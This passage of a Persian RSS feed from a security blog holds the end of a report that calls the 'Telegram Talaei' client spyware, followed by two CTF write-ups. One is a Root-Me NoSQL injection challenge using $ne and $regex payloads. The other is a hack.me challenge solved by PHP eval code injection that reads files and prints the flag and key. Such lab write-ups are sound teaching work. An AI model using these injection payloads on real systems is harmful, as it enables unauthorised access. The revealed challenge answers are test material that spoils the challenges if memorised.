خاص توسط کاربران به صورت مخفی (می‌تواند برای انجام حملات DDoS یا افزایش آمار بازدید یک سایت استفاده شود)متاسفانه یا خوشبختانه توسعه‌دهندگان این نرم‌افزار افرادی غیر حرفه‌ای بوده‌اند و اشتباهات امنیتی را مرتکب شده‌اند. به عنوان مثال راه ارتباطی ارسال اطلاعات به سرورها بدون هر نوع رمزنگاری و کدگذاری است. بنابراین هر کسی می‌تواند با شنود شبکه، به راحتی اطلاعات شخصی‌ای که به سرورهای تلگرام طلایی ارسال می‌شوند را ببیند. این یعنی تلگرام طلایی بستری ناامن را برای کاربران و خود فراهم کرده است که هکرهای می‌توانند با حمله به این پروتکل ارتباطی ضعیف، علاوه بر سرقت اطلاعات، اعمال مخربی را از سوی کاربران و تلگرام طلایی انجام دهند.با مقایسه نسخه‌های مختلف تلگرام طلایی متوجه شدیم که سرویس‌های مختلف به تدریج و در نسخه‌های مختلف به تلگرام طلایی اضافه شده‌اند. همچنین در نسخه‌های جدیدتر تلاش‌هایی برای مخفی کردن  و مبهم‌سازی کدهای مخرب صورت گرفته بود. در انتها می‌توان گفت که با یکی از بزرگترین ابزارهای جاسوسی و یکی از بزرگترین Botnetهای تاریخ ایران مواجه هستیم که غیر حرفه‌ای نوشته شده است. استفاده از تلگرام طلایی به هیچ‌وجه توصیه نمی‌شود. ۴- ضمیمهسوالات متداول دیگر آیا تلگرام طلایی و تلگرام دو برنامه کاملا جدا هستند؟ خیر! تلگرام طلایی یک کلاینت تلگرام است و به سرورهای اصلی تگرام متصل می‌شود. تلگرام طلایی از پروکسی‌های متعددی برای انتقال داده‌ها و پیام‌ها استفاده می‌کند اما در نهایت از زیرساخت تلگرام برای پیام‌رسانی استفاده می‌کند.تلگرام طلایی چگونه فیلتر را دور می‌زند؟ تلگرام طلایی از تعداد زیادی پروکسی سرور موقت برای عبور از فیلتر استفاده می‌کند که برای کسب اطلاعات بیشتر در مورد رفتار ضدفیلتر این برنامه می‌توانید به گزارش تکمیلی بررسی و تحلیل کانال ارتباطی مراجعه کنید.چرا تعداد کاربران تلگرام طلایی ۲۵ میلیون تخمین زده شده در حالیکه تنها ۱۰ میلیون نفر در کافه بازار این نرم‌افزار را دانلود کرده‌اند؟ آیا به زور کاربران را عضو تلگرام طلایی می‌کنند؟ خیر! کافه بازار تنها مرجع رسمی دانلود نرم‌افزار نیست. مراجع دیگری (مانند iranapps.ir و . . .) نیز هستند که باید در تعداد دانلود لحاظ شوند. تعداد نصب در دستگاه‌های با سیستم عامل iOS و همچنین تعداد دانلود از مراجع غیررسمی مانند هزاران سایت اینترنتی که فایل apk این نرم‌افزار را در اختیار عموم قرار داده‌اند باید در این تخمین لحاظ شوند. تخمین ۲۵ میلیون ممکن است درست باشد. اینکه به زور کاربران را عضو کرده‌اند یک تحلیل سطحی و غیرفنی است.منابع تلگرام طلایی، نسخه ۵.۳.۵ و ۵.۴.۲ - لینک کد Decompile شده و برنامه APK در https://github.com/alireza-ebrahimi/telegram-talaeiiتلگرام رسمی، کامیت  e9e40cb واقع در https://github.com/DrKLO/Telegramلینک گزارش‌های تکمیلیبررسی و تحلیل کد جاوا تلگرام طلایی (نقض امنیت و حریم خصوصی) -&gt;  http://vrgl.ir/pLlXf بررسی و تحلیل کانال ارتباطی بین تلگرام طلایی و سرورهای رسمی تلگرام (امکان شنود در مسیر ارتباطی) -&gt; به زودی منتشر می‌شودبررسی امکان حمله به کانال ارتباطی بین کلاینت تلگرام طلایی و سرورهای تلگرام طلایی -&gt; به زودی منتشر می‌شود.کاری ازیاشار شاهین‌زاده، راه ارتباطی؟ Twitterعلی‌رضا ابراهیمی، راه ارتباطی؟ Twitterحسن کرامت پور، راه ارتباطی؟ LinkedIn</description>
                <category>YShahinzadeh</category>
                <author>YShahinzadeh</author>
                <pubDate>Thu, 28 Jun 2018 17:44:03 +0430</pubDate>
            </item>
                    <item>
                <title>حل چالش امنیتی No SQL Injection در سایت https://root-me.org</title>
                <link>https://virgool.io/@YShahinzadeh/%D8%AD%D9%84-%DA%86%D8%A7%D9%84%D8%B4-%D8%A7%D9%85%D9%86%DB%8C%D8%AA%DB%8C-%D8%B3%D8%A7%DB%8C%D8%AA-no-sql-injection-%D8%AF%D8%B1-%D8%B3%D8%A7%DB%8C%D8%AA-httpsroot-meorg-xbfn8cpascei</link>
                <description>سلام خدمت خوانندگان عزیز، امروز با حل یکی از پیکارهای تارنمای http://www.root-me.org در خدمت شما هستم. پیکاری که مد نظر من هست امروز NoSQL injection - authentication می‌باشد که از لینک زیر قابل دسترسی است:http://www.root-me.org/en/Challenges/Web-Server/NoSQL-injection-authenticationصورت سوال مطرح می‌کند &quot;Find the username of the hidden user&quot;،‌ پس هدف از حل این پیکار، کشف نام کاربری پنهان در سامانه می‌باشد. برای انجام عملیات تزریق به منبع، شناسایی توابع و بردای‌های حمله کمک بسزایی می‌کند. سورس پیشنهادی خود تارنما برای مطالعه در این لینک زیر موجود است. مشکل تزریق به MongoDB از اینجا شروع می‌شود که PHP قابلیت تعریف یک آرایه را به کاربر می‌دهد:&lt;?php
@var_dump($_GET[&#039;str&#039;]);
?&gt;

// test.php?str=test
string &#039;test&#039; (length=4)

// test.php?str[]=test
array (size=1)
  0 =&gt; string &#039;test&#039; (length=4)

// test.php?str[test][]=test
array (size=1)
  &#039;test&#039; =&gt; 
    array (size=1)
      0 =&gt; string &#039;test&#039; (length=4)در چالش پیش‌روی نیز، سورس صفحه این گونه پیش‌بینی می‌شود:$users-&gt;find(array(&quot;username&quot; =&gt; $_GET[&#039;username&#039;], &quot;passwd&quot; =&gt; $_GET[&#039;password&#039;]));که معادل دستور MySQL زیر می‌باشد:mysql_query(&quot;SELECT * FROM users WHERE username=&#039;&quot; . $_GET[&#039;username&#039;] . &quot;&#039; AND passwd=&#039;&quot; . $_GET[&#039;password&#039;]) . &quot;&#039;&quot;);و به این نکته نیز توجه داریم که:$users-&gt;find(array(&quot;username&quot; =&gt; array(&quot;$ne&quot; =&gt; 1), &quot;password&quot; =&gt; array(&quot;$ne&quot; =&gt; 1)));نیز معادل:mysql_query(&quot;SELECT * FROM users WHERE username!=&#039;1&#039; AND passwd!=&#039;1&#039;&quot;);بوده، که اولین سطر از داده‌های پایگاه‌داده را برمی‌گرداند. حال با تعریف کردن یک آرایه با اندیس ne$ و کلید ۱، برای حل این پیکار اقدام می‌کنیم:http://challenge01.root-me.org/web-serveur/ch38/?login[$ne]=1&amp;amp;amp;amp;pass[$ne]=1همان‌طور که پیشبینی می‌شد، با اولین نام کاربری اصالت‌سنجی انجام شد. از آنجا که پیکار با یافتن نام کاربری دیگری حل می‌شود، بلافاصله با نام کاربری غیر از admin عملیات اصالت‌سنجی را انجام می دهیم:http://challenge01.root-me.org/web-serveur/ch38/?login[$ne]=admin&amp;amp;amp;amp;pass[$ne]=1که با کاربر test لاگین می‌شویم که کاربر بعدی می‌باشد. از این مرحله به بعد، راه حل‌های متعددی برای رسیدن به کاربر پنهان موجود است. مستندهای MongoDB کمک به‌سزایی در این زمنیه می‌کند:https://docs.mongodb.org/manual/reference/operator/query-evaluationhttps://docs.mongodb.org/manual/reference/operator/query-comparisonعملگری که برای حل پیکار در این نوشتار انتخاب شده، عملگر regex می‌باشد. برای کشف کاربر پنهان از طریق regex چندین راه وجود دارد:جستجو بر اساس حرف اولجستجو بر اساس طول رشتهجستجو بر اساس شرط عدم تساویراه اول: انجام عملیات فازینگ بر روی حرف:http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=^f.*$&amp;amp;amp;amp;pass[$ne]=1نام کاربری پنهان را افشا می‌کند:You are connected as : flag{nosqli_no_secret_4_you}که البته این روش جامعی نمی‌باشد، چرا که اگر ساختار پایگاه داده به‌صورت زیر باشد:id     user 
8      flux
15     flag{nosqli_no_secret_4_you}
16     flyاین روش نا کارآمد بوده و باید جستجو بر اساس حروف دوم الی آخر انجام شود.راه دوم: بر اساس طول رشته می‌باشد:http://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=\S{4}&amp;amp;amp;amp;pass[$ne]=1 //login as testhttp://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=\S{5}&amp;amp;amp;amp;pass[$ne]=1 //login as adminhttp://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=\S{6}&amp;amp;amp;amp;pass[$ne]=1 //flagبا توجه به اینکه تنها ۳ کاربر درون پایگاه داده وجود دارد و کاربر پنهان، بیشترین طول را دارد، این روش نیز یک راه حل می‌باشد.راه سوم: این راه حل به نظر من منطقی‌ترین (نه لزوما سریع‌ترین) راه حل به‌صورت کلی می‌باشد. بدین صورت که با به دست آوردن اولی نام کاربری، کافی است شرط منفی را برای نام کاربری از طریق regular expression اجرا کرده تا کاربرهای دیگر را به‌دست آوریم. ترتیب ارسال درخواست‌ها به‌صورت زیر است:http://challenge01.root-me.org/web-serveur/ch38/?login[$ne]=1&amp;amp;amp;amp;pass[$ne]=1 //reveals adminhttp://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=[^admin]$&amp;amp;amp;amp;pass[$ne]=1 //reveals testhttp://challenge01.root-me.org/web-serveur/ch38/?login[$regex]=[^admin|test]$&amp;amp;amp;amp;pass[$ne]=1 //reveals flagکه منجر به حل پیکار می‌شود.برای چالش‌های دیگه اگه به مشکل خوردید، لینک رو کامنت بزارید، تعداد زیاد شد راه حل منتشر می‌کنم.</description>
                <category>YShahinzadeh</category>
                <author>YShahinzadeh</author>
                <pubDate>Sun, 20 May 2018 17:05:45 +0430</pubDate>
            </item>
                    <item>
                <title>حل چالش امنیتی https://hack.me</title>
                <link>https://virgool.io/@YShahinzadeh/%D8%AD%D9%84-%DA%86%D8%A7%D9%84%D8%B4-%D8%A7%D9%85%D9%86%DB%8C%D8%AA%DB%8C-httpshackme-zfxt36reqn6p</link>
                <description>با سلام، سایت http://hack.me یک سایت وابسته به شرکت امنیتی eLearnSecurity می‌باشد که انشالله در پستی جداگانه این شرکت را خدمت شما معرفی خواهم کرد. در این سایت،‌ چالش‌های زیادی با سختی‌های مختلف وجود دارد. حل یکی از این چالش‌ها را برای این پست در نظر گرفته‌ام. پیش از آنکه وارد جزئیات مربوط به حل این پیکار شویم، پیشنهاد می‌کنم نگاهی به سوال بیندازید:https://hack.me/102100/restrictions-bypass-php.htmlخوب با ورود به پیکار، صفحه HTML ای به کاربر نمایش داده می‌شود، با کلیک بر روی تنها لینک صفحه،‌ کاربر به صفحه download.php منتقل می‌شود:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=files/read_me.txtاین صفحه ورودی با نام file دریافت می‌کند. به نظر شما اولین تستی که در این مرحله باید انجام شود چیست؟ با توجه به URL می‌توان حدس زد که download.php ورودی فایل را دریافت کرده و محتوای آن را نمایش می‌دهد. برای مثال چنین سورسی قابل پیشبینی است:&lt;?php
$file = $_GET[&#039;file&#039;]

...
... some checking
...

echo file_get_contents($directory . $file);
?&gt;وجود لینک زیر نیز مهر تائیدی است بر اینکه directory$ خالی می‌باشد.http://s30085-102100-6pv.sipontum.hack.me/files/read_me.txtدر اولین مرحله باید آزمون Directory Traversal انجام پذیرد:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=files/../files/read_me.txtلینک بالا منجر به باز شدن فایل read_me.txt می‌شود پس می‌توان نتیجه گرفت که آسیب‌پذیری Directory Traversal نیز موجود است. پس لینک زیر باید منجر به بارگزاری فایل index.php شود:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=../index.phpاما جواب دریافتی Not the right way است. همچنین:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaمشخص می‌کند که با توجه به پیغام File name too long. محدودیت طول در ورودی file وجود دارد. فرستادن درخواست زیر:http://s30085-102100-6pv.sipontum.hack.me/download.php?file[]=files/read_me.txtسرور جواب زیر را می‌دهد:Warning: strlen() expects parameter 1 to be string, array given in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 8
Warning: basename() expects parameter 1 to be string, array given in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 11
Warning: strpos() expects parameter 1 to be string, array given in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 13
Not the right way.منجر به افشای جزئیاتی راجع به سورس پرونده download.php می‌شود:محدودیت طولی چک می‌شوداسم فایل با تابع basename مشخص می‌گرددتابع strpos به دنبال رشته‌ای خاص در اسم فایل می‌گرددبا بررسی‌های به‌عمل آمده مخشص گردید که عدم موجود عبارت about_me در ورودی فایل منجر به ایجاد خطا می‌شود. با انجام فازینگ بر روی ورودی فایل:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=files/read_me.txt%27و جواب سرور:Warning:  readfile(files/read_me.txt&#039;) [function.readfile]: failed to open stream: No such file or directory in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php on line 18

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in C:\inetpub\wwwroot\coliseum\client\sandbox\30085-102100\BODY\inner\download.php(21) : eval()&#039;d code on line 1تابع eval مشخص می‌کنم که ورودی file در دو تابع readfile و eval قرار می‌گیرد. سورس پیشبینی شده برای eval به‌صورت زیر است:&lt;?php
eval(&quot;PHPCODE...function(&#039;$file&#039;)...PHPCODE&quot;);
?&gt;به‌دلیل اینکه کوتیش تزریق شده منجر به break شدن رشته شده (عدم وجود تابع escape کننده برای رشته ورودی) که این امر منجر به امکان تغییر کد PHP در تابع eval می‌باشد. شرایطی که باید برای تزریق کد برقرار باشد:وجود رشته about_meطول محدود رشته ورودی fileتزریق کد به گونه‌ای که syntax کد درست باشدبرای محقق شدن مورد سوم، کافی است تعداد کافی پرانتز را برای بستن توابع موجود در eval به کار برد:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;amp;amp;#x27;);print(&amp;amp;amp;#x27;voorivex&amp;amp;amp;#x27;);print(&amp;amp;amp;#x27;لینک بالا مجر به اجرا شدن تکه کدهای PHP و در نتیجه چاپ voorivex می‌شود. حال برای خواندن سایر صفحات، نیاز به دور زدن محدودیت طول ودودی فایل می‌باشد، برای این امر کافی است ورودی دیگری در کد تعریف کرده، و آن به را تابع eval دیگری ارجاع دهیم تا محدودیت طول برداشته شود:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;amp;amp;#x27;);eval($_GET[&amp;amp;amp;#x27;a&amp;amp;amp;#x27;]);print(&amp;amp;amp;#x27;&amp;amp;amp;amp;a=echo &amp;amp;amp;#x27;voorivex&amp;amp;amp;#x27;;حال تمامی کدهای تزریق شده بدون وجود محدودیت طول در سمت سرور اجرا می‌شود.با خواندن دو صفحه اصلی و گرفتن لیست از پوشه اصلی، پیکار به راحتی حل می‌شود:http://s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;amp;amp;#x27;);eval($_GET[&amp;amp;amp;#x27;a&amp;amp;amp;#x27;]);print(&amp;amp;amp;#x27;&amp;amp;amp;amp;a=var_dump(file_get_contents(&amp;amp;amp;#x27;flag.php&amp;amp;amp;#x27;));&lt;?php
if(isset($_POST[&#039;genflag&#039;])) {
 $name = @$_POST[&#039;name&#039;];
 $key = @$_POST[&#039;key&#039;];
 
 if(!$key || !$name)
 exit(&quot;&lt;br /&gt;&lt;br /&gt;Error! Key or name cannot be empty.&quot;);
 
 if(strpos($key,base64_decode(&quot;NjcyOTY0OTg3N2E1NDI4M2YxZDgxYmEwOTRkOWJmYWM=&quot;)) !== false)
 exit(&quot;&lt;br /&gt;&lt;br /&gt;Error! This is NOT the required key.&lt;br /&gt;But you going in the right direction... Keep moving.&quot;);
 
 //don&#039;t try to crack the hash to find solution - this is not the valid solution
 //and you will fail miserably, as the key is long enough
 if(md5($key) !== &quot;0c3933bb1a3d63c356d2f7e2606bd794&quot;)
 exit(&quot;&lt;br /&gt;&lt;br /&gt;Error! This is NOT the required key. Try again.&quot;);
 
 $hashedKey = md5(md5($name.$key));
 
 $flag = base64_encode($name.&quot;:&quot;.$hashedKey);
 
 echo &quot;&lt;br /&gt;&lt;br /&gt;Your flag is: &quot; . $flag;
 echo &quot;&lt;br /&gt;You can submit this now.&quot;;
}
?&gt;http://s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;amp;amp;#x27;);eval($_GET[&amp;amp;amp;#x27;a&amp;amp;amp;#x27;]);print(&amp;amp;amp;#x27;&amp;amp;amp;amp;a=var_dump(file_get_contents(&amp;amp;amp;#x27;download.php&amp;amp;amp;#x27;));&lt;?php
 
 //well done, you have successfully completed the first step!
 //Just one more step to capture the flag... Good luck.
 
 $file = @$_GET[&#039;file&#039;];
 
 if(strlen($file) &gt; 50)
 exit(&quot;File name too long.&quot;);
 
 $fileName = basename($file);
 
 if(!strpos($file, &quot;read_me&quot;)){
 exit(&quot;Not the right way.&quot;);
 }
 
 echo &quot;&lt;pre&gt;&quot;;
 readfile($file);
 echo &quot;&lt;/pre&gt;&quot;;
 
 eval(&quot;fwrite(fopen(&#039;stats/stats.txt&#039;,&#039;a&#039;),&#039;$fileName&#039;);&quot;);
 
 ?&gt;&quot;http://s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;amp;amp;#x27;);eval($_GET[&amp;amp;amp;#x27;a&amp;amp;amp;#x27;]);print(&amp;amp;amp;#x27;&amp;amp;amp;amp;a=var_dump(scandir(&amp;amp;amp;#x27;.&amp;amp;amp;#x27;));Array
(
 [0] =&gt; .
 [1] =&gt; ..
 [2] =&gt; 6729649877a54283f1d81ba094d9bfac.key
 [3] =&gt; download.php
 [4] =&gt; files
 [5] =&gt; flag.php
 [6] =&gt; index.php
 [7] =&gt; stats
)و در نهایت:http:/s30085-102100-6pv.sipontum.hack.me/download.php?file=/read_me&amp;amp;amp;#x27;);eval($_GET[&amp;amp;amp;#x27;a&amp;amp;amp;#x27;]);print(&amp;amp;amp;#x27;&amp;amp;amp;amp;a=var_dump(file_get_contents(&amp;amp;amp;#x27;6729649877a54283f1d81ba094d9bfac.key&amp;amp;amp;#x27;));که منجر به افشای کلید شده:Congratulations! Your key is: dzNsbGQwbmUuLi4hIQ==با وارد کردن کلید و اسم خود در صفحه flag.php، پیکار به اتمام می‌رسد.</description>
                <category>YShahinzadeh</category>
                <author>YShahinzadeh</author>
                <pubDate>Sun, 20 May 2018 17:02:32 +0430</pubDate>
            </item>
            </channel>
</rss>